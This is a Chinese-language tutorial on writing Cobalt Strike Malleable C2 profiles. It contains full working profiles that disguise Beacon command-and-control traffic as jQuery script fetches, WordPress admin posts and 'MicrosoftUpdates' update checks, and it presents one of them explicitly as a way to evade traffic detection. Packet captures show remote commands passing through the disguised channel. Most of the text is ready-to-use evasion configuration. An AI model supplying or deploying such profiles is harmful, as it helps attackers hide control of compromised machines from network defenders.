Malleable C2 是 Cobalt Strike 的一項功能, 意為 "可定制的" 的 C2 服務器. Malleable C2 允許我們僅通過一個簡單的配置文件來改變 Beacon 與 C2 通信時的流量特征與行為
C2配置代碼結構
由如下四個部分組成
自定義參數
http-get
http-post
http-stager
其中主要的部分為http-get
,http-post
,http-stager
http-get
,這段僅對通信過程中的 GET 請求有效
再看里面的子結構,主要分為Client
和Server
分別針Beacon對C2的請求和C2對Beacon響應的內容進行修改
再看下其中Client
結構中又分為三個部分,header
,parameter
,metadata
,都是在自定義http報文
client {
header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; // 則為http報文中的響應頭Accept-Language為zh-CN,zh;q=0.9,en;q=0.8,以此類推,就是自定義http報文
parameter "ver" "1.2.4"; //其實就是當GET請求的時候,一個端點所帶的參數,比如 ?ver=1.2.4 這種,同樣是自定義http報文
metadata { //其中base64則指明其中的數據需要進行base64編碼,prepend聲明前綴是token=,header "Cookie"則聲明存儲在Cookie字段中,那么合起來在http報文中體現的就是Cookie: token=BASE編碼的數據
base64;
prepend "token=";
header "Cookie";
}
}
以此類推Server結構中的字段也是這樣去理解的!
其中set uri
,為Get請求時候的地址!
整合起來http-get
就是如下的樣子:
http-get {
set uri "/jquery.min.js"; #
client {
header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
parameter "ver" "1.2.4";
metadata {
base64;
prepend "token=";
header "Cookie";
}
}
server {
header "Server" "Apache/2.4.39 (Unix)";
header "Content-Type" "application/javascript; charset=utf-8";
output {
base64;
prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)";
append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});";
print;
}
}
}
注意:Cobalt Strike中有個C2lint可以幫助我們對配置文件進行檢測,./c2lint my.profile
,如下圖就是http-get
部分
這里還會注意到在 http-get請求中 server 和 client大部分都是一樣的,但是在 server 中也有不一樣的,那么就是output
,這里的output可以理解為 GET 請求響應的的部分,可以從上圖里面的響應中看出!
最后還會發現在 http-post
中的 client 也有output
和id
這兩個部分,那是什么意思呢?
這里需要知道的就是 在 Beacon 在上傳 執行的數據 時是需要對應的 Task ID (這里的Task ID 可以理解為在你CS中的每個Beacon的編號)的, id 塊正好是針對 Task ID 的修改,Client
結構中的 output 塊則是修改通過 POST 發送的數據, 而在 server
結構中的 output 塊僅僅是用於修改響應內容的!
而最后的 http-stager 是用於 stage 過程,當 Beacon 被執行后, 會在 C2 上下載載荷執行,Stage 過程,但是Stageless沒有這一個過程!
簡單的HTTP Malleable C2 Profile配置:
set sample_name "my";
set sleeptime "5000";
set tcp_port "7001";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36";
http-get {
set uri "/jquery.min.js";
client {
header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
parameter "ver" "1.2.4";
metadata {
base64;
prepend "token=";
header "Cookie";
}
}
server {
header "Server" "Apache/2.4.39 (Unix)";
header "Content-Type" "application/javascript; charset=utf-8";
output {
base64;
prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)";
append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});";
print;
}
}
}
http-post {
set uri "/wp-admin";
client {
header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
header "Cookie" "wordpress_test_cookie=WP+Cookie+check";
id {
base64;
prepend "PHPSESSID=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Server" "Apache/2.4.39 (Unix)";
header "Content-Type" "text/html; charset=UTF-8";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/favicon1.ico";
set uri_x64 "/favicon2.ico";
client {
header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
}
server {
header "Server" "Apache/2.4.39 (Unix)";
header "Content-Type" "image/x-icon";
output {
print;
}
}
}
C2所需要注意的地方:
1.每個Cobalt Strike實例一次使用一個配置文件,也就是說如果更改配置文件或加載新的配置文件,以前部署的Beacon將無法與你通信
2.在開發數據轉換時,請始終了解數據的狀態以及協議所允許的內容。例如,如果你對base64進行了元數據編碼並將其存儲在URI參數中,那么它將無法正常工作。為什么?因為在URL中某些base64字符(+,=和/)具有特殊含義,c2lint工具和Profile Compiler不會檢測到此類問題。
3.即使進行很小的更改,也要始終測試你的配置文件。如果Beacon無法與你通信,則可能是你的配置文件profile存在問題。編輯它,然后再試一次。
4.信任c2lint工具。該工具超越了概要文件編譯器。這些檢查基於該技術的實現方式。如果c2lint檢查失敗,則說明你的配置文件profile存在實際問題。
參考文章:https://www.chabug.org/web/832.html
參考文章:https://www.cobaltstrike.com/help-malleable-c2
實現流量免殺
繼續走,介紹完之后來個簡單的應用,比如這篇文章的流量免殺!
文章:https://www.zzhsec.com/556.html
其中的C2配置如下:抽取關鍵的
#設置證書
https-certificate {
set CN "US";
set O "MicrosoftUpdates";
set C "en";
set L "US";
set OU "MicrosoftUpdates";
set ST "US";
set validity "365";
}
#設置
code-signer{
set keystore "zzhsec.store";
set password "123.zzhsec!";
set alias "zzhsec";
}
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}
http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urlencoded";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
print;
}
}
server {
output {
print;
}
}
}
進行抓包分析:
這里請求的是http-get,上面已經說過了,http-get中Client
和Server
分別針Beacon對C2的請求和C2對Beacon響應的內容進行修改
在抓包里面分析,自己理解的一般http-get請求包是用來作為連接的作用,定時發送心跳包來維持通信!
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}
跟蹤TCP流
http-post部分
http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urlencoded";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
print;
}
}
server {
output {
print;
}
}
}
接下來再CS上面執行命令shell whoami
通信包:
跟蹤TCP流
Beacon向C2發送的數據都是存儲在data字段之后,正好跟C2的配置文件相同
C2響應的數據:
更多的C2配置文件參考:https://github.com/rsmudge/Malleable-C2-Profiles